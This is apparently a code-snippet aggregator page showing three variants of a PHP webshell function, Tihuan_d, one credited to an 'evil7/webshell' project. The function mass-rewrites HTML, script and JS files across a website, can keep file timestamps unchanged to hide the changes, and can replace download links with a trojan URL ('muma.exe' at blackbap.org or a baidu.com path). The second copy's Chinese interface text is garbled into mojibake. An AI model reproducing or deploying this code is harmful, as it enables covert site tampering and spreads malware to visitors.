function Tihuan_d()
{
    if (!empty($_POST['tp']) && !empty($_POST['tt'])) {
        echo '<div class="actall">';
        $tt = str_replace('.', '\\.', $_POST['tt']);
        $td = isset($_POST['td']) ? true : false;
        $tb = $_POST['tb'] == 'a' ? true : false;
        $th = $_POST['th'] == 'a' ? true : false;
        if ($th) {
            $_POST['tca'] = str_replace('.', '\\.', $_POST['tca']);
        }
        echo Tihuan_Auto($_POST['tp'], $tt, $th, $_POST['tca'], $_POST['tcb'], $td, $tb) ? '<a href="#" onclick="window.location=\'?s=d\'">替换完毕</a>' : '<a href="#" onclick="window.location=\'?s=d\'">异常终止</a>';
        echo '</div>';
        return false;
    }
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    print <<<END
<script language="javascript">
function Fulllll(i){
\tif(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];}
\telse{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];}
  return true;
}
function showth(th){
\tif(th == 'a') document.getElementById('setauto').innerHTML = '查找内容 <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>替换成为 <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>';
\tif(th == 'b') document.getElementById('setauto').innerHTML = '<br>下载后缀 <input type="text" name="tca" id="tca" value=".exe|.z0|.rar|.zip|.gz|.txt" style="width:500px;"><br><br>替换成为 <input type="text" name="tcb" id="tcb" value="http://blackbap.org/muma.exe" style="width:500px;">';
\treturn true;
}
function autoup(){
\tif(document.getElementById('tp').value == ''){alert('替换路径不能为空');return false;}
\tif(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;}
\tif(document.getElementById('tca').value == ''){alert('替换代码不能为空');return false;}
\tdocument.getElementById('tform').submit();
}
</script>
<form method="POST" name="tform" id="tform" action="?s=d">
<div class="actall" style="height:35px;">替换路径 <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>--范围选择--</option>
<option value="1">网站跟目录</option>
<option value="2">本程序目录</option>
</select></div>
<div class="actall" style="height:35px;">文件类型 <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>--类型选择--</option>
<option value="3">静态文件</option>
<option value="4">脚本+静态</option>
<option value="5">JS文件</option>
</select></div>
<div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked>替换文件中的指定内容 <input type="radio" name="th" value="b" onclick="showth('b')">替换文件中的下载地址<br>
<div id="setauto">查找内容 <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>替换成为 <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked>保持文件修改时间不变</div>
<div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked>将替换应用于该文件夹,子文件夹和文件
<br><input type="radio" name="tb" value="b">仅将替换应用于该文件夹</div>
<div class="actall"><input type="button" value="开始替换" style="width:80px;height:26px;" onclick="autoup();"></div>
</form>
END;
    return true;
}
예제 #2
0
파일: silic.php 프로젝트: evil7/webshell
function Tihuan_d()
{
    if (!empty($_POST['tp']) && !empty($_POST['tt'])) {
        echo '<div class="actall">';
        $tt = str_replace('.', '\\.', $_POST['tt']);
        $td = isset($_POST['td']) ? true : false;
        $tb = $_POST['tb'] == 'a' ? true : false;
        $th = $_POST['th'] == 'a' ? true : false;
        if ($th) {
            $_POST['tca'] = str_replace('.', '\\.', $_POST['tca']);
        }
        echo Tihuan_Auto($_POST['tp'], $tt, $th, $_POST['tca'], $_POST['tcb'], $td, $tb) ? '<a href="#" onclick="window.location=\'?s=d\'">�滻����</a>' : '<a href="#" onclick="window.location=\'?s=d\'">�쳣��ֹ</a>';
        echo '</div>';
        return false;
    }
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    print <<<END
<script language="javascript">
function Fulllll(i){
\tif(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];}
\telse{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];}
  return true;
}
function showth(th){
\tif(th == 'a') document.getElementById('setauto').innerHTML = '��������:<textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>�滻��Ϊ:<textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>';
\tif(th == 'b') document.getElementById('setauto').innerHTML = '<br>���غ�׺ <input type="text" name="tca" id="tca" value=".exe|.7z|.rar|.zip|.gz|.txt" style="width:500px;"><br><br>�滻��Ϊ <input type="text" name="tcb" id="tcb" value="http://blackbap.org/muma.exe" style="width:500px;">';
\treturn true;
}
function autoup(){
\tif(document.getElementById('tp').value == ''){alert('·������Ϊ��');return false;}
\tif(document.getElementById('tt').value == ''){alert('���Ͳ���Ϊ��');return false;}
\tif(document.getElementById('tca').value == ''){alert('���벻��Ϊ��');return false;}
\tdocument.getElementById('tform').submit();
}
</script>
<form method="POST" name="tform" id="tform" action="?s=d">
<div class="actall" style="height:35px;">�滻·�� <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>--��Χѡ��--</option>
<option value="1">��վ��Ŀ¼</option>
<option value="2">������Ŀ¼</option>
</select></div>
<div class="actall" style="height:35px;">�ļ����� <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>--����ѡ��--</option>
<option value="3">��̬�ļ�</option>
<option value="4">�ű�+��̬</option>
<option value="5">JS�ļ�</option>
</select></div>
<div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked>�滻�ļ��е�ָ������ <input type="radio" name="th" value="b" onclick="showth('b')">�滻�ļ��е����ص�ַ<br>
<div id="setauto">�������� <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>�滻��Ϊ <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked>�����ļ��޸�ʱ�䲻��</div>
<div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked>���滻Ӧ���ڸ��ļ���,���ļ��к��ļ�
<br><input type="radio" name="tb" value="b">�����滻Ӧ���ڸ��ļ���</div>
<div class="actall"><input type="button" value="��ʼ�滻" style="width:80px;height:26px;" onclick="autoup();"></div>
</form>
END;
    return true;
}
예제 #3
0
function Tihuan_d()
{
    if (!empty($_POST['tp']) && !empty($_POST['tt'])) {
        $tt = str_replace('.', '\\.', $_POST['tt']);
        $td = isset($_POST['td']) ? true : false;
        $tb = $_POST['tb'] == 'a' ? true : false;
        $th = $_POST['th'] == 'a' ? true : false;
        if ($th) {
            $_POST['tca'] = str_replace('.', '\\.', $_POST['tca']);
        }
        echo Tihuan_Auto($_POST['tp'], $tt, $th, $_POST['tca'], $_POST['tcb'], $td, $tb) ? 'Done' : 'Abort';
        echo '<br><input class="bt" type="button" value="back" onclick="window.location=\'?s=d\'">';
        return false;
    }
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    print <<<END
<script language="javascript">
function Fulllll(i){
\tif(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];}
\telse{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];}
  return true;
}
function showth(th){
\tif(th == 'a') document.getElementById('setauto').innerHTML = '<tr>Searchment</tr> <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>Replacement <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>';
\tif(th == 'b') document.getElementById('setauto').innerHTML = '<br><tr>Download Suffix</tr> <input type="text" name="tca" id="tca" value=".exe|.z0|.rar|.zip|.gz|.torrent" style="width:500px;"><br><br>&nbsp&nbsp&nbspReplacement&nbsp&nbsp&nbsp<input type="text" name="tcb" id="tcb" value="http://www.baidu.com/download/muma.exe" style="width:500px;">';
\treturn true;
}
function autoup(){
\tif(document.getElementById('tp').value == ''){alert('path can not be empty');return false;}
\tif(document.getElementById('tt').value == ''){alert('type can not be empty');return false;}
\tif(document.getElementById('tca').value == '' || document.getElementById('tcb').value == ''){alert('replacement can not be empty');return false;}
\tdocument.getElementById('tform').submit();
}
</script>
<form method="POST" name="tform" id="tform" action="?s=d">
<div class="actall" style="height:35px;">Path: <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>--select range--</option>
<option value="1">site root folder</option>
<option value="2">current folder</option>
</select></div>
<div class="actall" style="height:35px;">Type: <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>--select type--</option>
<option value="3">html</option>
<option value="4">script+html</option>
<option value="5">js</option>
</select></div>
<div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked>Designated Content Of The Repalce File <input type="radio" name="th" value="b" onclick="showth('b')">Download Url Of The Replace File<br>
<div id="setauto">Searchment:&nbsp <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>Replacement: <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked>keep file time unchanged</div>
<div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked>applied to current folder,subfolders and files
<br><input type="radio" name="tb" value="b">only applied to current folder</div>
<div class="actall"><input class="bt" type="button" value="Begin" onclick="autoup();"></div>
</form>
END;
    return true;
}